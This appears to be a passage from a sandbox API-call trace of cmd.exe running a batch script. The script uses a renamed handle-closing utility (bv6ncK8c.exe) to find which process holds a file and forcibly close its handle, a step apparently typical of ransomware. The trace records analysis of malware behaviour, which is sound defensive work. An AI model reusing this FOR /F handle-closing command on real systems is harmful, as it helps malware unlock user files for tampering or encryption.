(_OSFileHandle=0x78, _Flags=8) returned 3 [0132.580] _get_osfhandle (_FileHandle=3) returned 0x78 [0132.580] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0132.580] GetProcessHeap () returned 0x400000 [0132.580] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416240 | out: hHeap=0x400000) returned 1 [0132.580] GetProcessHeap () returned 0x400000 [0132.580] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4161d0 | out: hHeap=0x400000) returned 1 [0132.580] GetProcessHeap () returned 0x400000 [0132.580] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416160 | out: hHeap=0x400000) returned 1 [0132.580] GetProcessHeap () returned 0x400000 [0132.580] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4160f0 | out: hHeap=0x400000) returned 1 [0132.580] GetProcessHeap () returned 0x400000 [0132.580] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x400d38 | out: hHeap=0x400000) returned 1 [0132.580] GetProcessHeap () returned 0x400000 [0132.580] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x401218 | out: hHeap=0x400000) returned 1 [0132.580] GetProcessHeap () returned 0x400000 [0132.580] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4011b8 | out: hHeap=0x400000) returned 1 [0132.580] GetProcessHeap () returned 0x400000 [0132.581] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x401140 | out: hHeap=0x400000) returned 1 [0132.581] _get_osfhandle (_FileHandle=3) returned 0x78 [0132.581] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0132.581] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x37f708, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x37f708*=0x94, lpOverlapped=0x0) returned 1 [0132.581] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0132.581] _get_osfhandle (_FileHandle=3) returned 0x78 [0132.581] GetFileType (hFile=0x78) returned 0x1 [0132.581] _get_osfhandle (_FileHandle=3) returned 0x78 [0132.581] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0132.581] GetProcessHeap () returned 0x400000 [0132.581] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x400a) returned 0x424aa8 [0132.581] GetProcessHeap () returned 0x400000 [0132.581] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x4008) returned 0x428ac0 [0132.582] GetProcessHeap () returned 0x400000 [0132.582] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xe) returned 0x400d38 [0132.582] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"msoeres.dll.mui\"") returned 0x11 [0132.582] GetProcessHeap () returned 0x400000 [0132.582] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x400d38 | out: hHeap=0x400000) returned 1 [0132.582] GetProcessHeap () returned 0x400000 [0132.582] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x428ac0 | out: hHeap=0x400000) returned 1 [0132.582] GetProcessHeap () returned 0x400000 [0132.582] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x424aa8 | out: hHeap=0x400000) returned 1 [0132.582] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x58) returned 0x401140 [0132.582] GetProcessHeap () returned 0x400000 [0132.582] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x44) returned 0x4011a0 [0132.582] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x14) returned 0x4012a0 [0132.582] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4012a0, Size=0x12) returned 0x4012a0 [0132.582] GetProcessHeap () returned 0x400000 [0132.582] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4012a0) returned 0x12 [0132.583] _wcsicmp (_String1="/L", _String2="/F") returned 6 [0132.583] _wcsicmp (_String1="/D", _String2="/F") returned -2 [0132.583] _wcsicmp (_String1="/F", _String2="/F") returned 0 [0132.583] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x4e) returned 0x4011f0 [0132.584] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x24) returned 0x401248 [0132.584] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x401248, Size=0x3c) returned 0x4160f0 [0132.584] GetProcessHeap () returned 0x400000 [0132.584] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4160f0) returned 0x3c [0132.584] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4160f0, Size=0x60) returned 0x4160f0 [0132.584] GetProcessHeap () returned 0x400000 [0132.584] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4160f0) returned 0x60 [0132.584] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4160f0, Size=0x76) returned 0x4160f0 [0132.584] GetProcessHeap () returned 0x400000 [0132.584] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4160f0) returned 0x76 [0132.585] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x58) returned 0x416170 [0132.585] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x58) returned 0x4161d0 [0132.585] GetProcessHeap () returned 0x400000 [0132.585] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x22) returned 0x401248 [0132.586] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x54) returned 0x416230 [0132.589] _tell (_FileHandle=3) returned 226 [0132.589] _close (_FileHandle=3) returned 0 [0132.589] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x37f4dc | out: _Buffer="\r\n") returned 2 [0132.589] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.589] GetFileType (hFile=0x7) returned 0x2 [0132.589] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.589] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f49c | out: lpMode=0x37f49c) returned 1 [0132.589] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.589] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f4c8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f4c8*=0x2) returned 1 [0132.591] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0132.591] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0132.591] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x37f4d8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0132.591] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x37f4d8 | out: _Buffer=">") returned 1 [0132.591] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.591] GetFileType (hFile=0x7) returned 0x2 [0132.591] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.591] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f4a0 | out: lpMode=0x37f4a0) returned 1 [0132.592] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.592] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x37f4cc, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x37f4cc*=0x26) returned 1 [0132.592] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%.3s", _ArgList=0x37f75c | out: _Buffer="FOR") returned 3 [0132.592] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.592] GetFileType (hFile=0x7) returned 0x2 [0132.694] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.694] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f71c | out: lpMode=0x37f71c) returned 1 [0132.694] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.694] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x37f748, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f748*=0x3) returned 1 [0132.695] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x37f75c | out: _Buffer=" /F") returned 3 [0132.695] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.695] GetFileType (hFile=0x7) returned 0x2 [0132.695] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.695] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f71c | out: lpMode=0x37f71c) returned 1 [0132.695] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.695] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x37f748, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f748*=0x3) returned 1 [0132.696] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s", _ArgList=0x37f75c | out: _Buffer=" \"UseBackQ Tokens=3,6 delims=: \"") returned 32 [0132.696] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.696] GetFileType (hFile=0x7) returned 0x2 [0132.696] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.696] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f71c | out: lpMode=0x37f71c) returned 1 [0132.696] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.696] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x37f748, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f748*=0x20) returned 1 [0132.697] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x37f75c | out: _Buffer=" %I IN ") returned 7 [0132.697] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.697] GetFileType (hFile=0x7) returned 0x2 [0132.697] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.697] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f71c | out: lpMode=0x37f71c) returned 1 [0132.697] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.697] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x37f748, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f748*=0x7) returned 1 [0132.699] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="(%s) %s ", _ArgList=0x37f758 | out: _Buffer="(`bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner`) DO ") returned 60 [0132.699] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.699] GetFileType (hFile=0x7) returned 0x2 [0132.699] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.699] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f718 | out: lpMode=0x37f718) returned 1 [0132.699] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.699] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x3c, lpNumberOfCharsWritten=0x37f744, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f744*=0x3c) returned 1 [0132.700] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.700] GetFileType (hFile=0x7) returned 0x2 [0132.700] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.700] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f724 | out: lpMode=0x37f724) returned 1 [0132.700] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.700] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x37f750, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x37f750*=0x1) returned 1 [0132.701] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.701] GetFileType (hFile=0x7) returned 0x2 [0132.701] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.701] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f708 | out: lpMode=0x37f708) returned 1 [0132.701] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.701] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x401250*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x37f734, lpReserved=0x0 | out: lpBuffer=0x401250*, lpNumberOfCharsWritten=0x37f734*=0xc) returned 1 [0132.701] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x37f740 | out: _Buffer=" -accepteula -c %J -y -p %I -nobanner ") returned 38 [0132.701] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.701] GetFileType (hFile=0x7) returned 0x2 [0132.702] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.702] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f700 | out: lpMode=0x37f700) returned 1 [0132.702] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.702] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x37f72c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f72c*=0x26) returned 1 [0132.703] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x37f75c | out: _Buffer=") ") returned 2 [0132.703] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.703] GetFileType (hFile=0x7) returned 0x2 [0132.704] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.704] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f71c | out: lpMode=0x37f71c) returned 1 [0132.704] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.704] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f748, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f748*=0x2) returned 1 [0132.704] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x37f77c | out: _Buffer="\r\n") returned 2 [0132.704] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.704] GetFileType (hFile=0x7) returned 0x2 [0132.705] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.705] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f73c | out: lpMode=0x37f73c) returned 1 [0132.705] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.705] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f768, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f768*=0x2) returned 1 [0132.706] GetProcessHeap () returned 0x400000 [0132.706] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x2c) returned 0x416290 [0132.706] GetProcessHeap () returned 0x400000 [0132.706] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xc) returned 0x400d38 [0132.706] GetProcessHeap () returned 0x400000 [0132.706] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xc) returned 0x400d50 [0132.706] GetProcessHeap () returned 0x400000 [0132.706] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xe) returned 0x400d68 [0132.706] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0132.707] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0132.707] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0132.707] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0132.707] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0132.707] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0132.707] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0132.707] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x37f698, _Radix=0 | out: _EndPtr=0x37f698*=",6 delims=: \"") returned 3 [0132.707] wcstol (in: _String="6 delims=: \"", _EndPtr=0x37f698, _Radix=0 | out: _EndPtr=0x37f698*=" delims=: \"") returned 6 [0132.707] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0132.707] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0132.707] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0132.707] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0132.707] GetProcessHeap () returned 0x400000 [0132.707] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x400d68 | out: hHeap=0x400000) returned 1 [0132.707] GetProcessHeap () returned 0x400000 [0132.707] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xe) returned 0x400d68 [0132.707] GetProcessHeap () returned 0x400000 [0132.707] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x400d38, Size=0xe) returned 0x400d80 [0132.707] GetProcessHeap () returned 0x400000 [0132.707] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x400d80) returned 0xe [0132.707] GetProcessHeap () returned 0x400000 [0132.707] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x400d50, Size=0x14) returned 0x4162c8 [0132.707] GetProcessHeap () returned 0x400000 [0132.707] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4162c8) returned 0x14 [0132.707] _wpopen (_Command="bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner", _Mode="rb") returned 0x76be2960 [0132.938] feof (_File=0x76be2960) returned 0 [0132.938] ferror (_File=0x76be2960) returned 0 [0132.938] GetProcessHeap () returned 0x400000 [0132.938] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x108) returned 0x4162e8 [0132.938] fgets (in: _Buf=0x4162f0, _MaxCount=256, _File=0x76be2960 | out: _Buf="No matching handles found.\r\r\n", _File=0x76be2960) returned="No matching handles found.\r\r\n" [0137.991] feof (_File=0x76be2960) returned 0 [0137.991] ferror (_File=0x76be2960) returned 0 [0137.991] GetProcessHeap () returned 0x400000 [0137.991] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4162e8, Size=0x208) returned 0x4162e8 [0137.991] GetProcessHeap () returned 0x400000 [0137.991] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4162e8) returned 0x208 [0137.992] fgets (in: _Buf=0x41630d, _MaxCount=483, _File=0x76be2960 | out: _Buf="", _File=0x76be2960) returned 0x0 [0138.130] _pclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 0 [0138.131] GetProcessHeap () returned 0x400000 [0138.131] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4162e8, Size=0x46) returned 0x4162e8 [0138.131] GetProcessHeap () returned 0x400000 [0138.131] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4162e8) returned 0x46 [0138.131] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x41630d, cbMultiByte=29, lpWideCharStr=0x4162f0, cchWideChar=29 | out: lpWideCharStr="No matching handles found.\r\r\n") returned 29 [0138.132] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x37f38c | out: _Buffer="\r\n") returned 2 [0138.132] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.132] GetFileType (hFile=0x7) returned 0x2 [0138.133] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.133] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f34c | out: lpMode=0x37f34c) returned 1 [0138.133] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.133] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f378, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f378*=0x2) returned 1 [0138.136] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0138.136] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x37f388 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0138.136] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x37f388 | out: _Buffer=">") returned 1 [0138.136] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.136] GetFileType (hFile=0x7) returned 0x2 [0138.136] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.136] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f350 | out: lpMode=0x37f350) returned 1 [0138.137] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.137] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x37f37c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x37f37c*=0x26) returned 1 [0138.137] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.137] GetFileType (hFile=0x7) returned 0x2 [0138.137] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.137] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f5d4 | out: lpMode=0x37f5d4) returned 1 [0138.138] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.138] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x37f600, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x37f600*=0x1) returned 1 [0138.138] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.138] GetFileType (hFile=0x7) returned 0x2 [0138.138] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.138] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f5b8 | out: lpMode=0x37f5b8) returned 1 [0138.139] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.139] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x424ab0*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x37f5e4, lpReserved=0x0 | out: lpBuffer=0x424ab0*, lpNumberOfCharsWritten=0x37f5e4*=0xc) returned 1 [0138.139] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x37f5f0 | out: _Buffer=" -accepteula -c -y -p handles -nobanner ") returned 41 [0138.139] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.139] GetFileType (hFile=0x7) returned 0x2 [0138.139] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.139] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f5b0 | out: lpMode=0x37f5b0) returned 1 [0138.140] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.140] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x29, lpNumberOfCharsWritten=0x37f5dc, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f5dc*=0x29) returned 1 [0138.141] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x37f60c | out: _Buffer=") ") returned 2 [0138.141] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.141] GetFileType (hFile=0x7) returned 0x2 [0138.141] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.141] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f5cc | out: lpMode=0x37f5cc) returned 1 [0138.142] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.142] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f5f8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f5f8*=0x2) returned 1 [0138.142] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x37f62c | out: _Buffer="\r\n") returned 2 [0138.142] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.142] GetFileType (hFile=0x7) returned 0x2 [0138.142] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0138.142] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f5ec | out: lpMode=0x37f5ec) returned 1 [0138.143] _get_osfhandle (_FileHandle=1) returned 0x7 [0138.143] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f618, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f618*=0x2) returned 1 [0138.144] GetConsoleTitleW (in: lpConsoleTitle=0x37f13c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0138.145] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x416558, lpFilePart=0x37ec5c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37ec5c*="Desktop") returned 0x25 [0138.145] SetErrorMode (uMode=0x0) returned 0x1 [0138.145] GetProcessHeap () returned 0x400000 [0138.145] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x416550, Size=0x6e) returned 0x416550 [0138.145] GetProcessHeap () returned 0x400000 [0138.145] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x416550) returned 0x6e [0138.145] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0138.145] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0138.146] GetProcessHeap () returned 0x400000 [0138.146] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x120) returned 0x4165c8 [0138.146] GetProcessHeap () returned 0x400000 [0138.146] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x238) returned 0x4166f0 [0138.146] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0138.146] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x37e9f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x37e9f8) returned 0x4168a0 [0138.147] FindClose (in: hFindFile=0x4168a0 | out: hFindFile=0x4168a0) returned 1 [0138.147] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0138.147] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0138.147] GetConsoleTitleW (in: lpConsoleTitle=0x37eed0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b 